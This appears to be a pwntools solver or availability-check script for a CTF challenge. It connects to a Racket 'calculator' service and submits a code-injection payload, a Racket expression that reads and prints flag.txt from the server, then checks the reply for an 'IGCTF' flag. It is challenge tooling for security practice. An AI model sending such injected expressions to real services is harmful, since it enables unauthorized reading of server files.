24 lines
583 B
Python
24 lines
583 B
Python
from pwn import *
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import sys
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import re
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# Arg1: IP, Arg2: Port
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#io = process(['racket ../calculator-app.rkt'])
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try:
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io = remote(sys.argv[1], sys.argv[2])
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except:
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print("Challenge not available")
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exit(1)
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print(io.recv(3))
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io.sendline('((lambda () (call-with-input-file "flag.txt" (lambda (input-port) (let loop ((x (read-char input-port))) (if (not (eof-object? x)) (begin (display x) (loop (read-char input-port)))))))))')
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res = io.recvline()
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print(res)
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if re.findall('IGCTF', str(res)):
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print("Found flag")
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exit(0)
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else:
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print("No flag found")
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exit(1)
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